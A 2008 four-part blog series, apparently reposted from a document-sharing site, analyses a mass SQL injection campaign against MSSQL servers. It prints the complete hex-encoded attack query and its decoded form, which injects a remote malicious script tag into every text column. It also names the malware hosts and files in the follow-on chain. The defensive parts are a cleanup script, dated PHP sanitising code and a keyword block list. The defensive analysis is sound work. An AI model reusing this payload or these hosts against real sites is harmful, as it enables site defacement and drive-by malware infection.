Sql Injection Attacks(Part1 4)

15
Source: http://blog.ninanet.com/blog1.php/?blog=1&paged=2 2008-8-28 SQL injection attacks: Part 1: no end in sight? I am not worried, but I am annoyed. Because all these attempts seriously taint our log files and our analytics results. Besides causing unnecessary traffic. But I am also very curious by nature and had an hour or so to kill, so I decided to look into it a bit. Take the query string and translate it into human-readable format: "GET /myfile.php?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x44 45434C415245204054207661726368617228323535292C4043207661726 3686172283430303029204445434C415245205461626C655F437572736F72204 35552534F5220464F522073656C65637420612E6E616D652C622E6E616D65206 6726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776 865726520612E69643D622E696420616E6420612E78747970653D27752720616 E642028622E78747970653D3939206F7220622E78747970653D3335206F72206 22E78747970653D323331206F7220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4D2020546 1626C655F437572736F7220494E544F2040542C4043205748494C45284040464 55443485F5354415455533D302920424547494E2065786563282775706461746 5205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F74697 46C653E3C736372697074207372633D22687474703A2F2F777777302E646F756 8756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212 D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C6 96B6520272725223E3C2F7469746C653E3C736372697074207372633D2268747 4703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A732 23E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524 F4D20205461626C655F437572736F7220494E544F2040542C404320454E44204 34C4F5345205461626C655F437572736F72204445414C4C4F434154452054616 26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1" The Query String uses CAST to hide the actual SQL statement in hexadecimal code, so in order to *read* it, we need to translate the CAST content (everything else should be fairly easy to translate - %20 = space, etc). The easiest way to do it is by using perl: perl -pe 's/([A-Fa-f0-9][A-Fa-f0-9])/chr(hex($1))/ge' < in > out

description

 

Transcript of Sql Injection Attacks(Part1 4)

Page 1: Sql Injection Attacks(Part1 4)

Source: http://blog.ninanet.com/blog1.php/?blog=1&paged=2

2008-8-28

SQL injection attacks: Part 1: no end in sight?

I am not worried, but I am annoyed. Because all these attempts seriously taint our log files and our analytics results. Besides causing unnecessary

traffic.

But I am also very curious by nature and had an hour or so to kill, so

I decided to look into it a bit.

Take the query string and translate it into human-readable format:

"GET /myfile.php?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x44

45434C415245204054207661726368617228323535292C4043207661726

3686172283430303029204445434C415245205461626C655F437572736F72204

35552534F5220464F522073656C65637420612E6E616D652C622E6E616D65206

6726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776

865726520612E69643D622E696420616E6420612E78747970653D27752720616

E642028622E78747970653D3939206F7220622E78747970653D3335206F72206

22E78747970653D323331206F7220622E78747970653D31363729204F50454E2

05461626C655F437572736F72204645544348204E4558542046524F4D2020546

1626C655F437572736F7220494E544F2040542C4043205748494C45284040464

55443485F5354415455533D302920424547494E2065786563282775706461746

5205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F74697

46C653E3C736372697074207372633D22687474703A2F2F777777302E646F756

8756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212

D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C6

96B6520272725223E3C2F7469746C653E3C736372697074207372633D2268747

4703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A732

23E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524

F4D20205461626C655F437572736F7220494E544F2040542C404320454E44204

34C4F5345205461626C655F437572736F72204445414C4C4F434154452054616

26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1"

The Query String uses CAST to hide the actual SQL statement in hexadecimal

code, so in order to *read* it, we need to translate the CAST content

(everything else should be fairly easy to translate - %20 = space, etc).

The easiest way to do it is by using perl:

perl -pe 's/([A-Fa-f0-9][A-Fa-f0-9])/chr(hex($1))/ge' < in > out

Page 2: Sql Injection Attacks(Part1 4)

The output is:

DECLARE @S CHAR(4000);SET@S=DECLARE @T varchar(255),@C varchar(4000)

DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects

a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or

b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT

FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update

['+@T+'] set ['+@C+']=''"></title><script

src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''+['+@C+']

where '+@C+' not like ''%"></title><script

src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''')FETCH NEXT

FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE

Table_Cursor AS CHAR(4000));EXEC(@S)

(Of course sysobjects and syscolumns are tables found on MSSQL servers)

Other query strings found in our logs translated to other domain names,

so far all of them were Chinese (.cn) TLDs, and all of them pointing to

a script w.js in the directory /csrss (www2.1000ylc.cn/,sdo.1000mg.cn/,

and others).

The host IP addresses could be traced to locations all over the world,

and whether they're legitimate or not doesn't really matter.

If we try to access the above domain www0.douhunqn.cn, Firefox greets us

with the following message:

If you don't know what you're doing, I would strongly suggest that you

DON'T try to access the site -- I have a screenshot of the script here

(click the image for a larger version):

Page 3: Sql Injection Attacks(Part1 4)

But you can download a copy of the script (zipped) here (don't say we didn't

warn you if something goes wrong) and trace all the URLs it is loading

and accessing, check all the iframes it is generating and the files it

is trying to download:

JavaScript File

The above is only one of many sites being used as the host for those

malicious scripts, just Google the strings used in either the script or

the SQL statement and you will see quite a bunch of infected pages.

SQL injection attacks: Part 2: Answers

While the effect yesterday's post had was unintentional (I only wanted

to complain about the effect those requests have on our and our clients'

server statistics), it seems that a lot more people than I would have

anticipated are affected and are looking for answers.

So in this post, I am trying to provide help and some answers.

For all you guys looking for ways to detect vulnerable servers and code,

try these links now:

Page 4: Sql Injection Attacks(Part1 4)

Microsoft Source Code Analyzer for SQL Injection

or:

Scrawlr

Cleanup:

Replace script tags from your database (absolutely no warranties - check

the URL/path of the domain and script - in this case

http://www0.douhunqn.cn/csrss/w.js - as well):

DECLARE @T varchar(255),@C varchar(4000);

DECLARE Table_Cursor CURSOR FOR

SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND

a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR

b.xtype=167);

OPEN Table_Cursor;

FETCH NEXT FROM Table_Cursor INTO @T,@C;

WHILE(@@FETCH_STATUS=0)

BEGIN EXEC(

'UPDATE ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script

src="http://www0.douhunqn.cn/csrss/w.js"></script><!--'','''')');

FETCH NEXT FROM Table_Cursor INTO @T,@C ;

END;

CLOSE Table_Cursor;

DEALLOCATE Table_Cursor;

Quick Fixes to prevent more attacks (until you had time to secure every

single query):

Check for suspicious Strings in Query Strings via an included function

before serving any pages (Chances are nobody is supposed to submit certain

statements in a parameter in the first place).

Use the RewriteEngine to check for and react to those strings (e.g. serve

a 401 page instead).

These are quick fixes only and should not serve as long-term solutions:

If the attacker modifies the SQL statements and you are only checking for

e.g. DECLARE you have the same problem all over again.

Prevention:

Page 5: Sql Injection Attacks(Part1 4)

* Never trust Query Strings.

* Escape them properly.

* Check the TYPE of your variables. If you expect numeric values, check

for numeric values.

Demo - Test it:

We've created a demo page so you can check how a rewrite rule or an include

function might change the way your pages are served:

SQL injection attack attempt demo page: (will open in new window)

You can also use the page to translate the code from your logfiles:

SQL injection attack attempt demo page without Query String

I hope this answers at least some of your questions. If you are still lost,

feel free to either leave a comment and I will try to answer your questions

ASAP or email me directly.

PS: I agree with everyone who said it's not a pure SQL injection hack,

but it's also not a pure XSS hack either.

SQL injection attacks: Part 3: Securing your forms and preventing

SQL injection attempts (PHP/MySQL)

While the most recent SQL injection attack attempts are targeting MSSQL

servers, chances are other databases will be targeted soon.

Of course it is and always has been good practice to double-check input,

but maybe these attacks were the wake-up call some developers needed.

Basically every programming language is vulnerable, it is up to the

developer and his diligence to secure his applications and prevent the

success of such malicious attacks to the best of his knowledge.

Here's a very simple function everyone can use to scan and clean the input

received:

function cleanvals($myval) {

Page 6: Sql Injection Attacks(Part1 4)

if(get_magic_quotes_gpc()){

$myval=stripslashes($myval);

//get rid of triple slashes mysql_real_escape_string would create

}

return $myval;

}

function cleanup($myinput){

if(is_array($myinput)){

foreach($myinput as $key=>$val){

//echo "$myinput[$key]<br>";

//check old value of $val

$myinput[$key] = cleanvals($val);

//echo "$myinput[$key]<br>";

//check new value of $val

}

return array_map("mysql_real_escape_string",$myinput);

}

else{

$myinput=cleanvals($myinput);

return mysql_real_escape_string($myinput);

}

}

First, we pass all input to cleanup().

Then we check if the input is an array and if it is, the cleanvals()

function is called and applied to the value of the array key. If the input

is a string, cleanvals() is being applied directly on the string.

cleanvals() simply checks for get_magic_quotes_gpc(), and removes the

slashes get_magic_quotes_gpc() might have already added; otherwise we end

up with triple slashes later on.

If our input was an array, we return the cleaned array using array_map()

which allows us to apply a callback function before returning it.

As our callback function, we use mysql_real_escape_string() which is

described as follows:

[quote] Escapes special characters in the unescaped_string , taking into account the current character set of the connection so that it is safe to place it in a mysql_query(). If binary data is to be inserted, this function must be used. mysql_real_escape_string() calls MySQL's library function

Page 7: Sql Injection Attacks(Part1 4)

mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. This function must always (with few exceptions) be used to make data safe before sending a query to MySQL. [/endquote]

If you are using PHP < 4.3.0 you have to use

mysql_escape_string($myinput);

wherever

mysql_real_escape_string($myinput);

is used in the above code.

You can always scan for parameters you definitely don't want to see in

your input in the first place, like DECLARE, CAST, DROP, etc and either

replace them during the cleanup process, or call another function to

prevent any further execution of your code.

To check for *disallowed* words in your input string and to delete them,

simply add

$badbadsql = "(declare)|(cast)|(drop)";

$myval= eregi_replace($badbadsql, "", strtolower($myval));

before

if(get_magic_quotes_gpc()){

I've also used strtolower to assure we're catching UPPER, lower and mixed

case statements.

Instead of replacing $badbadsql you can simply call another function to

e.g. stop execution of your code and display an alert, record the

offender's IP, blacklist him and send an email to the webmaster - it's

totally up to you.

To use the cleanup function simply call it whenever you receive input and

run the input through it:

$_POST=cleanup($_POST);

$_GET=cleanup($_GET);

$_COOKIE=cleanup($_COOKIE);

Page 8: Sql Injection Attacks(Part1 4)

$_REQUEST=cleanup($_REQUEST);

$_SERVER['QUERY_STRING']=cleanup($_SERVER['QUERY_STRING']);

SQL injection attacks: Part 4: What the JavaScript does

I've posted the initial script from http://www0.douhunqn.cn/csrss/w.js

in Part 1, but for those who either can't or rather won't load it themselves,

here's an outline of what it does, and the other files it loads and

accesses.

All scripts in this post are images (they are screenshots so they will

not harm your computer in any way), and you can see a larger version by

clicking on each image. None of the links to the malicious scripts/files

are live in this post, but they all are still working as of today.

Again, this is how http://www0.douhunqn.cn/csrss/w.js looks like:

First, http://www0.douhunqn.cn/csrss/w.js tries to load

http://www0.douhunqn.cn/csrss/new.htm into an iframe.

Page 9: Sql Injection Attacks(Part1 4)

It also tries to load http://count41.51yes.com/sa.aspx?id=419214144 into

another iframe, appending the output of the variable *yesdata* to this

URL.

The URL would look similar to this:

http://count41.51yes.com/sa.aspx?id=419214144&refe=&location=http%3A/

/**source**&color=16x&resolution=1280x1024&returning=0&language=undef

ined&ua=Mozilla/5.0%20%28compatible%3B%20Konqueror/3.5%3B%20FreeBSD%2

9%20KHTML/3.5.8%20%28like%20Gecko%29

(depending on your operating system and other variables)

(We tried repeatedly with various variables and could not get the server

to respond. If someone gets a response and an output, please tell us and

we will post it here).

http://www0.douhunqn.cn/csrss/new.htm looks like this

and does the following:

sets cookies:

Page 10: Sql Injection Attacks(Part1 4)

1)

It accesses http://s96.cnzz.com/stat.php?id=1019605&web_id=1019605

which results in this output:

The command *document.write('Õ¾³¤Í³¼Æ')* loads

http://www.cnzz.com/v3/admin.php?webid=1019605 but gets redirected to

http://www.cnzz.com/v3/login.php?webid=1019605 (login problem?) and

sets a cookie.

Page 11: Sql Injection Attacks(Part1 4)

2) loads flash.htm into an iframe (will trigger anti-virus-scanner)

-- this file loads either

i1.html (msie)

Page 12: Sql Injection Attacks(Part1 4)

f2.html (other)

into another iframe

Check security watch:

http://s3cwatch.wordpress.com/2008/08/06/jjmaobuduo3322orgcsrsswjs/

3) Tries to load 06014.html into an inframe (this is an error, since the

file 06014.html doesn't exist on the server. It should be 06014.htm

(thanks to

http://s3cwatch.wordpress.com/2008/08/06/jjmaobuduo3322orgcsrsswjs/#c

omments)

Page 13: Sql Injection Attacks(Part1 4)

will trigger anti-virus-scanner when loaded

4) loads yahoo.htm into an iframe (triggers anti-virus-scanner)

5) loads office.htm into an iframe

Page 14: Sql Injection Attacks(Part1 4)

6) loads ksx.htm into an iframe

7) accesses http://js.users.51.la/2087353.js

Page 15: Sql Injection Attacks(Part1 4)

When trying to decompile the flash file 1115.swf we get the following error:

VerifyError: Error #1011: Method global$init() contained illegal opcode

248 at offset 0.

at global$init()

But in the file disguised as an image again we see the call to

http://www.ppexe.com/csrss/rondll32.exe (the file can still be

downloaded from this address - that's why this is not an active link.

Similarities to rundll32.exe are most likely pure coincidence).

The files loaded by ack.html seem to be different every day, see this

directory output: